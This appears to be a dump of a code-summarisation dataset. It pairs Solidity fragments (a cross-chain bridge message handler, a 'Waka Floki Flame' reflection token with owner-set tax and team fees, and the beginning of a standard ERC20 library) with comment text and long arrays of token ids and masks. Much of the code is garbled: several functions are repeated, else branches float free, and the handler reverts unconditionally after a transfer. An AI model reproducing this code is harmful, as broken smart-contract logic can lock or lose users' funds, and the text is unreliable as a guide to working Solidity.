_downcast(_token).setDetails(
_action.name(),
_action.symbol(),
_action.decimals()
);
}
}
| * @notice Handles an incoming message @param _origin The origin domain @param _sender The sender address @param _message The message/ parse tokenId and action from message handle message based on the intended action | ) external override onlyReplica onlyRemoteRouter(_origin, _sender) {
bytes29 _msg = _message.ref(0).mustBeMessage();
bytes29 _tokenId = _msg.tokenId();
bytes29 _action = _msg.action();
if (_action.isTransfer()) {
_handleTransfer(_tokenId, _action);
_handleDetails(_tokenId, _action);
require(false, "!valid action");
}
}
| 5,404,476 | [
1,
8788,
392,
6935,
883,
225,
389,
10012,
1021,
4026,
2461,
225,
389,
15330,
1021,
5793,
1758,
225,
389,
2150,
1021,
883,
19,
1109,
1147,
548,
471,
1301,
628,
883,
1640,
883,
2511,
603,
326,
12613,
1301,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
262,
3903,
3849,
1338,
14222,
1338,
5169,
8259,
24899,
10012,
16,
389,
15330,
13,
288,
203,
3639,
1731,
5540,
389,
3576,
273,
389,
2150,
18,
1734,
12,
20,
2934,
11926,
1919,
1079,
5621,
203,
3639,
1731,
5540,
389,
2316,
548,
273,
389,
3576,
18,
2316,
548,
5621,
203,
3639,
1731,
5540,
389,
1128,
273,
389,
3576,
18,
1128,
5621,
203,
3639,
309,
261,
67,
1128,
18,
291,
5912,
10756,
288,
203,
5411,
389,
4110,
5912,
24899,
2316,
548,
16,
389,
1128,
1769,
203,
5411,
389,
4110,
3790,
24899,
2316,
548,
16,
389,
1128,
1769,
203,
5411,
2583,
12,
5743,
16,
17528,
877,
1301,
8863,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x74b3Df584F1bE32d89cb9d9a4F0268b2472D4fFa/sources/wakafloki.sol | Contract implementation Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap Team wallet address is null but the method to set the address is exposed We will set a minimum amount of tokens to be swaped => 5M | contract WakaFlokiFlame is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Waka Floki Flame';
string private _symbol = 'Fire';
uint8 private _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _teamWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 100000000000000e9;
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable teamWalletAddress, address payable marketingWalletAddress) public {
_teamWalletAddress = teamWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
} else {
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
}
bool takeFee = true;
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
}
_tokenTransfer(sender,recipient,amount,takeFee);
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_teamWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
_transferToExcluded(sender, recipient, amount);
_transferStandard(sender, recipient, amount);
_transferBothExcluded(sender, recipient, amount);
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
_transferToExcluded(sender, recipient, amount);
_transferStandard(sender, recipient, amount);
_transferBothExcluded(sender, recipient, amount);
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
} else {
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() {
_teamWalletAddress = teamWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} | 4,994,996 | [
1,
8924,
4471,
18240,
471,
5927,
1656,
281,
903,
787,
622,
374,
1427,
732,
2727,
1404,
1240,
279,
5446,
15800,
1347,
7286,
310,
358,
1351,
291,
91,
438,
10434,
9230,
1758,
353,
446,
1496,
326,
707,
358,
444,
326,
1758,
353,
16265,
1660,
903,
444,
279,
5224,
3844,
434,
2430,
358,
506,
1352,
5994,
516,
1381,
49,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
6835,
678,
581,
69,
42,
383,
15299,
2340,
339,
353,
1772,
16,
467,
654,
39,
3462,
16,
14223,
6914,
288,
203,
3639,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
3639,
1450,
5267,
364,
1758,
31,
203,
203,
3639,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
86,
5460,
329,
31,
203,
3639,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
88,
5460,
329,
31,
203,
3639,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
3639,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
291,
16461,
1265,
14667,
31,
203,
203,
3639,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
291,
16461,
31,
203,
3639,
1758,
8526,
3238,
389,
24602,
31,
203,
377,
203,
3639,
2254,
5034,
3238,
5381,
4552,
273,
4871,
11890,
5034,
12,
20,
1769,
203,
3639,
2254,
5034,
3238,
389,
88,
5269,
273,
15088,
9449,
380,
1728,
636,
29,
31,
203,
3639,
2254,
5034,
3238,
389,
86,
5269,
273,
261,
6694,
300,
261,
6694,
738,
389,
88,
5269,
10019,
203,
3639,
2254,
5034,
3238,
389,
88,
14667,
5269,
31,
203,
203,
3639,
533,
3238,
389,
529,
273,
296,
59,
581,
69,
478,
383,
15299,
3857,
339,
13506,
203,
3639,
533,
3238,
389,
7175,
273,
296,
9723,
13506,
203,
3639,
2254,
28,
3238,
389,
31734,
273,
2468,
31,
203,
540,
203,
3639,
2254,
5034,
3238,
389,
8066,
14667,
273,
1728,
31,
7010,
3639,
2254,
5034,
3238,
389,
10035,
14667,
273,
1728,
31,
203,
3639,
2254,
5034,
3238,
389,
11515,
2
] |
//Address: 0x697b2658eb4085445625d6aeece29bd117c58c62
//Contract name: WELToken
//Balance: 0 Ether
//Verification Date: 12/9/2017
//Transacion Count: 326
// CODE STARTS HERE
pragma solidity ^0.4.15;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
